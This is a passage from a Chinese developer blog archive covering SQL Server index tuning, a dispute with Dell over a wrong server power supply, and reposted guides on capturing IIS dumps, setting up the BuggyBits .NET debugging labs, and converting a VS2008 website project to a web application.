我们注意到物理类型为索引扫描,实际行数是1006603,等等,这不就是整个Book_Chapter表的所有行 数吗?为什么要扫描整个表?按照我的思路应该首先从Book_Book里根据Moderator_ID的索引找出符合Moderator_ID =@UserID的11455行记录,然后根据Book_Book.LastChapterID = Book_Chapter.Chapter_ID从Book_Chapter找出11455行记录,再从Book_ChapterCategory找出 11455条记录然后合并,整个过程因为有索引不需要进行整表扫描才对。
于是删除Book_Chapter上的_dta_index_Book_Chapter_5_308964227__K1_K6_K5_2索引,并建立[chapter_ID ASC],[Book_ID] ASC的索引。再次执行,执行计划如图:
其中开销66%的详细信息为:

这下物理运算变成索引查找了,实际行数也变成了期望的11438行(有些书还没有章节,所以比11455少),我们再对SQL语句优化一下,改成(红色字体是改变过的地方):
Select
一堆列名
FROM
Book_Book LEFT JOIN (Book_Chapter LEFT JOIN dbo.Book_ChapterCategory
ON
Book_Chapter.Category_ID = Book_ChapterCategory.ID
)
ON
Book_Book.LastChapterID = Book_Chapter.Chapter_ID
Where
Book_Book.Moderator_ID =@UserID
ORDER BY
Book_Chapter.Addtime desc
执行结果如下:

这次查询简单多了,至少能在一个图片完全显示整个查询结构。而且发现我们在上一步优化中建立的索引IX_Book_Chapter没用用上,而是用了Book_Chapter本来的主键聚集索引查找。
经过测试优化后这条语句执行速度比优化前快了45%
对所有操作频繁的存储过程进行优化后,速度没有明显的提高!依然很慢,看来真的是需要等待新的服务器了。
消费者的无奈:
服务器是在6月4号购买的,6月7号妈妈打电话告诉我服务器到了,速度还挺快。大家首先来看看服务器的报价单,这几张图片是我截图下来的,实际的报价单被分成好几块,每一块都有很多重复的信息(用来干扰视线的?):

各位有看出报价单里面有什么不对吗?反正当时我就看了CPU,内存和硬盘,检查没错后确认了,6月8日帮我装机器的yang13老师告 诉我寄过来的电源是48V DC,他在学校里不能用,然后我打电话到电信局IDC,技术工程师告诉我他们主要用220V交流电,让我换了220V的再托管。我回头翻出报价单一看,在 最后的倒数第二栏果然有一个小小的-48VDC,当时没在意,想着打个电话给DELL让他们换一换就行了。
第二天一大早我就打电话给DELL的销 售代表,这位小姐说她不懂技术,又让我打给技术支持,技术说这个的确错了,而且只能更换,让我和销售调换,然后我再次打电话给销售,她说这个要 CC(customer care客户关怀部)给我处理,她已经提交上去了。这时我就郁闷,我好好的买一个服务器怎么就需要被关怀了呢?不过算了,还是等等吧。
一 直等到星期五下午4点多(6月12号),一个自称是客户关怀部的小姐打电话给我说出了什么问题,电源坏了吗?我当时气愤的不行,这已经过了3天了,她们还 搞不清楚电源是坏了还是错了,有这样的服务态度吗?然后我打电话给销售,没人接,打电话给技术,没人接。周末DELL公司不上班,星期一我再打给销售,发 现换人了,原来卖给我的销售因某某某原因休假,接替她的人对这件事情什么都不知道,难道我要从头来一次?气愤!然后打电话给技术,技术又拨通了客户关怀部 进行3方通话,这次客户关怀部说他们是按照订单上写的生产,没有出错,不给退换,我当时就郁闷,对她说你是在中国境内卖服务器为什么默认配48V 直流电源而不是中国标准220V交流电源?然后这位客户关怀部的小姐就不说按照订单生产,反而一再问我是不是提了什么特殊要求,我当时根本就没提什么要 求,完全是按照正常流程,居然把责任推给我,这实在让人失望。然后我说你们不是有为了保证服务质量有电话录音的吗?找出来看看不就知道了,现在那名销售也 知道去哪里了,你们想说什么就是什么了吧?
电话那头沉默了几秒,然后说:我们是按照订单生产,不能换。
我马上挂掉电话。到网上买了两个2950的220V电源,6月18号终于把新服务器装上,一切问题都解决了!
后记:
这次hang排查过程前后花了一个月的时间,真可谓一波三折。
总结出来的经验:
1. 用性能监视器查看系统运行情况。
2. 用windbg抓取dump后用~*e!clrstack看看hang期间在执行什么
3. 对症下药
通过这3步一般就能解决问题。但仅仅解决了技术上的问题,现实中有许多困难往往来自非技术上的,这对于像我这样单枪匹马的个人站长+技术爱好者来说是经常有的情况,但是一个好的站长必须不怕困难,坚持自己的信念才能走到最后。
感谢:
感谢DUDU,小力,V.c Fan (范维肖),Raymond对我的帮助和支持,感谢yang13老师一直以来在生活,学习和技术上对我的帮助
[IIS]使用DEBUGDIAG手动抓取DUMP文件
转载:http://www.51testing.com/?uid-227476-action-viewspace-itemid-99975
使用DebugDiag手动抓取dump文件
l 手动抓取IIS dump文件
l 查看dump文件的默认存储位置
l 修改dump文件的存储位置
l 抓取dump文件的时机
手动抓取IIS dump文件
1、启动DebugDiag 1.1 (x86)后点击“选择规则类型”窗口中的“取消”按钮后,点击Processes分页。
2、右键单击w3wp进程,并选择Create Full Userdump
等待一段时间后出现成功创建dump文件,以及dump的文件名和存储路径的对话框,点击确定即可。
查看dump文件的默认存储位置
1、点击DebugDiag 1.1 (x86)工具主窗口工具栏中的“文件夹”图标
查看弹出的窗口
打开其中的misc文件夹,刚才所抓取的dump文件就存放在其中。
修改dump文件的存储位置
点击DebugDiag 1.1 (x86)工具菜单栏中的“Tools”->“Options and Settings”设置Manual Userdump Save Folder中的路径为所要修改的路径即可。
抓取dump文件的时机
1、应用程序初始化完毕(测试执行前)需要抓取一个dump文件
2、使用性能计数器观察测试中的内存使用情况,在IIS崩溃前(观察Prvite和#time in GC的变化)抓取dump文件以便于开发分析
3、(可选)在性能计数器中观察gen2、large object heap、bytes in all heaps堆的使用和释放情况,在堆的使用即将达到一个高峰值(相对值)前抓取dump,并同时抓取堆释放到一个低峰值(波谷)前抓取一个dump,方便开发对比分析。
[IIS].NET调试实例-信息和安装说明 (原创翻译)
原文地址:http://blogs.msdn.com/tess/pages/net-debugging-demos-information-and-setup-instructions.aspx
.NET 调试实例
这是一个系列的调式实例,目的是为了帮助你在调式.NET应用程序中最常见的死锁(Hang)、性能(performance)、内存(memory)和系统崩溃(crash)方面获得一些上手的经验。
这些实例都是用ASP.NET写的,这意味着在你安装这些实例的机器上必须已经安装了IIS和.net framework 2.0。
每一个实例都会有一些关于如何开始的介绍,但是为了给你更多的机会去自己实践,实例的介绍会故意保持非常简单。当你遇到困难的时候,可以参考注意事项(Hints)。
如果时间允许,新实例将发布在 http://blogs.msdn.com/Tess(我计划每周更新一个实验)。
因为所有实例都将使用相同的Web站点来做实验,所以所有实例只需要安装一个应用程序就够了。
注意:这些实例将导致CPU的高使用率、高内存消耗和崩溃,所以一定要确保你只把这些实例安装在那些没有人会因为系统死锁或Web服务崩溃而抱怨的开发用的机器上。
安装
1.下载实例站点(见后面的附件)并解压到你的硬盘上。(刚刚上传了一个不需要Framework 3.5的版本)
2.在IIS中新建一个名称为BuggyBits的虚拟目录。
3. 浏览默认站点 http://localhost/buggybits/default.htm ,以确保您正确设置了虚拟目录。
4.浏览公司信息页面 http://localhost/BuggyBits/CompanyInformation.aspx,以确保您能够正确浏览ASP.NET页面。
5.从 http://www.microsoft.com/whdc/devtools/debugging/default.mspx 下载并安装Windows调试工具集(Debugging tools for windows)。
6.通过双击运行Internetconnections.reg文件来改变IE浏览器对于相同站点默认的对外连接数。(注意:如果你感觉这样直接修改注册表不爽,你可以在记事本查看这个文件,然后手工修改注册表)
7.安装 tinyget(IIS6.0资源包的一部分 http://support.microsoft.com/kb/840671),我们将通过使用这个工具给一些页面施压,以便产生死锁和内存泄漏。
术语和工具
每个实例/实验都假设你已经熟悉下表中的内容:
| Windbg | 随Windows调试工具集一起安装的调试器 默认情况下会安装在“C:\program files\Debugging tools for windows” |
| Adplus | 自动抓取内存转储文件的脚本,同意也安装在Windows调试工具集的目录里。 |
| Debuggers directory | 典型的目录是“ c:\program files\debugging tools for windows” |
| SOS | .NET托管调试扩展 同.Net Framework同时安装并存在于Framework目录(通常是“C:\Windows\Microsoft.NET\Framework \v2.0.50727”),为了方便,你可以直接拷贝sos.dll到Debuggers directory。 |
| Loading SOS | 可 以通过在Windbg的命令行窗口运行".load<路径到sos.dll>\sos.dll"命令来加载SOS扩展,或者通过运 行".loadby sos mscorwks"命令(这两种方式都是从Framework的目录加载的sos.dll)。如果sos.dll已经被拷贝到调试器目录,你只要使用简单 的".load sos"命令就可以了。 |
| Setting up symbols | 符号(Symbols)是用来在调试本地/非托管程序时,查看非托管堆栈时用的。更多信息请参考: http://blogs.msdn.com/tess/archive/2005/12/05/why-do-i-get-weird-function-names-on-my-stack-a-discussion-on-symbols.aspx 。可以在Windbg中运行如下命令来设置符号的路径:
.symfix c:\mycache "c:\mycache"是在本地缓存的符号文件的路径。 如果在Windbg里询问是否保存工作空间的的时候选择了保持,那么下次调式的时候,这个符号路径仍然有效。 |
| Tinyget | TinyGet 5.2 (TinyGet.exe)是一个命令行的超文本传输协议(HTTP)客户端,支持多线程和循环(looping)。你可以使用TinyGet测试和解决 客户端和服务之间通讯的问题。使用TinyGet,你可以通过配置许多不同的参数的方式自定义你的测试需求,包括身份验证方法, HTTP版本,输出格式。 您也可以使用脚本指定循环和多线程。 更多信息请参考 http://support.microsoft.com/kb/840671 |
熟悉一些SOS命令和Windbg的知识也是有用的。下面的文章作为参考资料可能会用得到。
安装 Windbg
入门-第一部分
入门-第二部分
高级命令
已经可用的实验:
| 实验描述 | 回顾 |
| .NET调试实例 实验1:死锁 | 回顾 |
| .NET调试实例 实验2:崩溃 | 回顾 |
| .NET调试实例 实验3:内存 | 回顾 |
| .NET调试实例 实验4:高CPU利用率 | 回顾 |
| .NET调试实例 实验5:崩溃 | 回顾 |
| .NET调试实例 实验6:内存泄漏 | 回顾 |
| .NET调试实例 实验7:内存泄漏 | 回顾 |
附件: BuggyBits.zip

-博客园.Debug探索团队
-By Justin/2008年7月8日 2:00:48 作者:Justin
出处:http://justinw.cnblogs.com/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。
[VS2008]VS 2008 "website" 项目转化为 "web application"
转载:http://www.cnblogs.com/portalsky/archive/2008/09/04/1283837.html
"website" 项目转化为 "web application" 项目实际操作过程中有点麻烦,特别是网站比较大时:
步骤一:
1、新建一个web application,(File->Add->New Project->C#->Web->ASP.NET Web Application)。
2、拷贝web site 文件
3、尝试编译一次,手工添加找不到的references
4、选择web site中文件或者文件夹,右键选择"Convert to web application“,这个过程中可能有问题,主要ajax控件和profile的问题。
a、ajax控件,最简单的办法就是剪切+转化+恢复,呵呵。
b、在web site项目中profile几乎就可以用,就可以调用web.config的配置,在项目中稍微,麻烦一点:
用ProfielBase.GetPropertyValue(PropertyName)代替。
c、用户控件无法定义,需要在.design.cs中重新定义一下。
附:网上搜来的一篇文章,写的很好,就是找不到原作者了
VS2005中的WebSite和WebApplication有何区别
Mikel






